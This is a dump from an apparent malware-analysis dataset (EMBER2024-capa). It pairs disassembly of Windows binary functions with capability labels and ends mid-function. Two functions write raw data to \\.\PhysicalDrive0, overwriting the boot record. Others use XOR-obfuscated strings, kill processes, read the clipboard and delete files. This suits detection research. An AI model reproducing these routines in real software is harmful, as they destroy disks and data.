joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x3030], 0
lea esi, [edi + 0x3034]
je 0x416482
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x41643c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.004214c0
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.00404120
mov edx, dword [esi]
mov ecx, 0x5887ec
push dword [edi + 0x3030]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x303c]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.00404120
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429d00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x429d3a
mov eax, dword [0x5887f0]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x429d2d
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x429d6b
mov eax, dword [0x5887f0]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x429d5e
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x429d9c
mov eax, dword [0x5887f0]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x429d8f
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x429de9
mov eax, dword [0x5887f0]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x429ddc
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x429e1a
mov eax, dword [0x5887f0]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x429e0d
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x429e4b
mov eax, dword [0x5887f0]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x429e3e
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x5c], 0
pop edi
lea ecx, [esi + 0x78]
pop esi
jmp fcn.0042c510
Function at 0x45ef10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x45ef6d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x45ef30
mov eax, dword [esi]
jmp 0x45f047
cmp eax, 0x4e0
jb 0x45f047
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x45ef86
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
nop
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x45efd0
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4605e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get mac address on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov word [ebp - 8], 0
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
push 0x288
mov dword [ebp - 0x20], esi
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 0x1c], 0x288
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x46064d
xorps xmm0, xmm0
mov ecx, esi
push eax
movups xmmword [esi], xmm0
push 0x4ee7f6
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
call fcn.0045c380
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004870f9
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [ebp - 0x1c]
push eax
push ebx
call edi
cmp eax, 0x6f
jne 0x4606a5
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4606a5
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
push 0x4ee7f6
mov ecx, esi
call fcn.0045c380
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004870f9
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x1c]
push eax
push ebx
call edi
test eax, eax
jne 0x460793
test ebx, ebx
je 0x460761
movzx eax, byte [ebx + 0x197]
xor ecx, ecx
movaps xmm0, xmmword [0x500a60]
movzx edx, byte [ebx + 0x199]
movzx edi, byte [ebx + 0x198]
mov dword [ebp - 0x40], eax
movzx eax, byte [ebx + 0x196]
mov dword [ebp - 0x44], eax
movzx eax, byte [ebx + 0x195]
mov dword [ebp - 0x48], eax
movzx eax, byte [ebx + 0x194]
mov dword [ebp - 0x20], eax
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x5c5e4b36
mov dword [ebp - 0x28], 0x5c5e4b36
mov word [ebp - 0x24], 0x36
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x18
jb 0x460713
push edx
push edi
push dword [ebp - 0x40]
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x23], 0
push dword [ebp - 0x44]
push dword [ebp - 0x48]
push dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00421d10
lea edi, [ebp - 0x18]
add esp, 0x20
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x460746
mov al, byte [0x4fb478]
push ebx
mov byte [edi], al
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xorps xmm0, xmm0
lea ecx, [ebp - 0x18]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460780
sub ecx, edx
lea eax, [ebp - 0x18]
push ecx
push eax
jmp 0x46068b
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x4629f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd400
mov eax, dword fs:[0]
push eax
sub esp, 0x124
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x118], esi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], 0
cmp dword [edx + 0x14], 0xf
mov dword [ebp - 0x128], esi
jbe 0x462a41
mov edx, dword [edx]
lea eax, [ebp - 0x120]
push eax
push 0x20019
push 0
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x462aaf
xorps xmm0, xmm0
mov word [ebp - 0x124], 1
movups xmmword [esi], xmm0
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x123], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462a90
sub ecx, edx
lea eax, [ebp - 0x123]
push ecx
push eax
mov ecx, esi
call fcn.0045c380
mov eax, esi
jmp 0x462baf
cmp dword [edi + 0x14], 0xf
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x11c], 0x100
jbe 0x462acb
mov edi, dword [edi]
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x118]
push eax
push 0
push edi
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x462b3c
xorps xmm0, xmm0
mov word [ebp - 0x124], 0x6b
movups xmmword [esi], xmm0
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x123], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462b20
sub ecx, edx
lea eax, [ebp - 0x123]
push ecx
push eax
mov ecx, esi
call fcn.0045c380
mov eax, esi
jmp 0x462baf
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
lea ecx, [ebp - 0x114]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462b65
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
mov ecx, esi
call fcn.0045c380
mov eax, esi
jmp 0x462baf
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004870f9
mov esp, ebp
pop ebp
ret
Function at 0x462bd0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov byte [ebp - 0x14], 5
mov al, 0x70
xor al, byte [ebp - 0x14]
mov bl, 0x60
mov byte [ebp - 0x13], al
mov ah, 0x77
mov al, byte [ebp - 0x14]
mov dl, 0x76
push esi
mov esi, ecx
mov byte [ebp - 0xb], 0
xor ah, al
mov dword [ebp - 4], esi
mov cl, 0x6b
mov byte [ebp - 0x10], ah
mov ch, 0x64
mov byte [ebp - 0xb], 0
mov dh, 0x68
mov bh, bl
xor dl, al
xor bl, al
xor cl, al
mov byte [ebp - 0x12], dl
xor ch, al
mov byte [ebp - 0x11], bl
xor dh, al
mov byte [ebp - 0xf], cl
xor bh, al
mov byte [ebp - 0xe], ch
lea eax, [ebp - 0x13]
mov byte [ebp - 0xd], dh
push edi
push eax
mov byte [ebp - 0xc], bh
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov edx, eax
xorps xmm0, xmm0
mov ecx, edx
add esp, 4
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462c50
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.0045c380
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x462c70
Capabilities:
Contain obfuscated stackstrings
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
mov esi, ecx
mov dword [ebp - 0x18], 0x6765690a
push edi
mov dword [ebp - 4], esi
mov dl, 0xa
mov dword [ebp - 0x14], 0x6f7e7f7a
xor eax, eax
mov dword [ebp - 0x10], 0x676b6478
mov word [ebp - 0xc], 0x6f
nop dword [eax]
xor byte [ebp + eax - 0x17], dl
inc eax
cmp eax, 0xc
jae 0x462caf
mov dl, byte [ebp - 0x18]
jmp 0x462ca0
lea eax, [ebp - 0x17]
mov byte [ebp - 0xb], 0
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov edx, eax
xorps xmm0, xmm0
mov ecx, edx
add esp, 4
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462ce0
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.0045c380
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x462fd0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd47d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x44
push esi
mov eax, dword [0x509040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x34], esi
movaps xmm0, xmmword [0x4fefa0]
xor ecx, ecx
mov dword [ebp - 0x34], esi
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x1d18151a
mov dword [ebp - 0x1c], 0x1b175a04
mov dword [ebp - 0x18], 0x15065b19
mov word [ebp - 0x14], 3
nop word [eax + eax]
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x1c
jb 0x463040
xorps xmm0, xmm0
mov byte [ebp - 0x13], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463070
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.0045c380
push 0
lea edx, [ebp - 0x4c]
mov dword [ebp - 4], 0
mov ecx, esi
call fcn.004614a0
mov ecx, dword [ebp - 0x38]
add esp, 4
cmp ecx, 0xf
jbe 0x4630d2
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4630c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4630c8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00487522
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x463bc0
Capabilities:
Delete file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x4ffbb0]
xor eax, eax
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x24], 0x6a2e3370
movaps xmm0, xmmword [0x4ffe60]
movups xmmword [ebp - 0x44], xmm0
mov byte [ebp - 0x20], 0
movaps xmm0, xmmword [0x4ffae0]
movups xmmword [ebp - 0x34], xmm0
nop
mov cl, byte [ebp - 0x54]
xor byte [ebp + eax - 0x53], cl
inc eax
cmp eax, 0x33
jb 0x463c00
xorps xmm0, xmm0
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x53]
mov dword [ebp - 0xc], 0
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 8], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463c30
sub ecx, edx
lea eax, [ebp - 0x53]
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0045c380
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
cmova eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [ebp - 8]
add esp, 4
cmp ecx, 0xf
jbe 0x463c91
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x463c87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x463c87
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004870f9
mov esp, ebp
pop ebp
ret

Function at 0x463ca0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push esi
push edi
mov edi, ecx
mov edx, 0x811c9dc5
mov esi, dword [edi + 0x10]
cmp esi, 4
jbe 0x463cb8
mov esi, 4
jmp 0x463cbc
test esi, esi
je 0x463cf1
xor ecx, ecx
cmp dword [edi + 0x14], 0xf
jbe 0x463ce0
mov edi, dword [edi]
movsx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x463cc6
pop edi
mov eax, edx
pop esi
ret
movsx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x463ce0
pop edi
mov eax, edx
pop esi
ret

Function at 0x463d00
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov dword [ebp - 4], ebx
mov edx, 0x811c9dc5
mov esi, dword [edi + 0x10]
cmp esi, 4
jbe 0x463d24
mov esi, 4
jmp 0x463d28
test esi, esi
je 0x463d64
xor ecx, ecx
cmp dword [edi + 0x14], 0xf
jbe 0x463d53
mov edi, dword [edi]
movsx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x463d32
mov ecx, ebx
call fcn.0045f2a0
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
movsx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x463d53
mov ecx, ebx
call fcn.0045f2a0
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x469ce0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x200
push 0x4f2d30
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004870f9
mov esp, ebp
pop ebp
ret
Function at 0x471c00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x8000
push 0x4f2f30
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004870f9
mov esp, ebp
pop ebp
ret
Function at 0x4745a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 2
mov dword [ebp - 0x134], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x474675
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x474675
mov eax, esi
lea ecx, [ebp - 0x10c]
nop word [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x474630
test dl, dl
je 0x47462c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x474630
add ecx, 2
add eax, 2
test dl, dl
jne 0x474610
xor eax, eax
jmp 0x474635
sbb eax, eax
or eax, 1
test eax, eax
jne 0x474663
push dword [ebp - 0x128]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x474651
push edi
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x474602
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004870f9
mov esp, ebp
pop ebp
ret
Function at 0x4793f0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push edi
push 0
mov edi, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x479439
push esi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x479431
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x479431
push 0x20
push eax
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
add esp, 0xc
mov byte [edi + 0x20], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop esi
pop edi
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
ret
Function at 0x479c50
Capabilities:
Check http status code
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, edx
mov edi, ecx
call fcn.00488150
mov esi, eax
test esi, esi
je 0x479d6c
push edi
push 0x2712
push esi
call fcn.0048ba30
movaps xmm0, xmmword [0x4ff8b0]
add esp, 0xc
movups xmmword [ebp - 0x38], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4febc0]
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x1e
jb 0x479ca0
lea eax, [ebp - 0x37]
mov byte [ebp - 0x19], 0
push eax
push 0
call fcn.004883e0
push eax
push 0x2727
push esi
call fcn.0048ba30
push 1
push 0x2f
push esi
call fcn.0048ba30
push ebx
push 0x271f
push esi
call fcn.0048ba30
push esi
call fcn.004881b0
add esp, 0x30
test eax, eax
je 0x479d38
cmp byte [0x588847], 0
je 0x479de2
push 0x10
call dword [sym.imp.USER32.dll_MessageBeep]
mov byte [ebp - 0x14], 0x33
mov al, 0x76
xor al, byte [ebp - 0x14]
mov cl, 0x41
mov dl, cl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0x14]
mov bl, 0x5c
mov ah, 0x13
mov byte [ebp - 0xb], 0
mov ch, 0x10
mov byte [ebp - 0xb], 0
mov dh, 7
mov bh, 2
xor cl, al
xor dl, al
xor bl, al
xor ah, al
xor ch, al
xor dh, al
xor bh, al
jmp 0x479dbd
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x200002
push esi
call fcn.00488130
mov ecx, dword [ebp - 4]
add esp, 0xc
cmp dword [ebp - 8], 0xc8
sete al
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004870f9
mov esp, ebp
pop ebp
ret
cmp byte [0x588847], 0
je 0x479de2
push 0x10
call dword [sym.imp.USER32.dll_MessageBeep]
mov byte [ebp - 0x14], 2
mov al, 0x47
xor al, byte [ebp - 0x14]
mov cl, 0x70
mov byte [ebp - 0x13], al
mov dl, cl
mov al, byte [ebp - 0x14]
mov bl, 0x6d
mov ah, 0x22
mov byte [ebp - 0x15], 0x30
mov ch, 0x21
mov byte [ebp - 0xa], 0
mov dh, 0x31
mov byte [ebp - 0xa], 0
mov bh, 0x33
xor cl, al
xor dl, al
xor bl, al
xor ah, al
xor ch, al
xor dh, al
xor bh, al
mov al, byte [ebp - 0x15]
xor al, byte [ebp - 0x14]
mov byte [ebp - 0xb], al
push 0x10
mov byte [ebp - 0xf], ah
lea eax, [ebp - 0x13]
push 0
push eax
push 0
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x11], dl
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xe], ch
mov byte [ebp - 0xd], dh
mov byte [ebp - 0xc], bh
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x4816c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x4816ec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x481714
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x48171a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x481782
jg 0x481731
test esi, esi
je 0x481782
test ecx, ecx
jl 0x48177d
jg 0x48173b
test eax, eax
je 0x48177d
cmp edi, ecx
jg 0x48174f
jl 0x481745
cmp esi, eax
jae 0x48174f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x481785
mov ecx, dword [ebp + 8]
jmp 0x48178f
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x4817a9
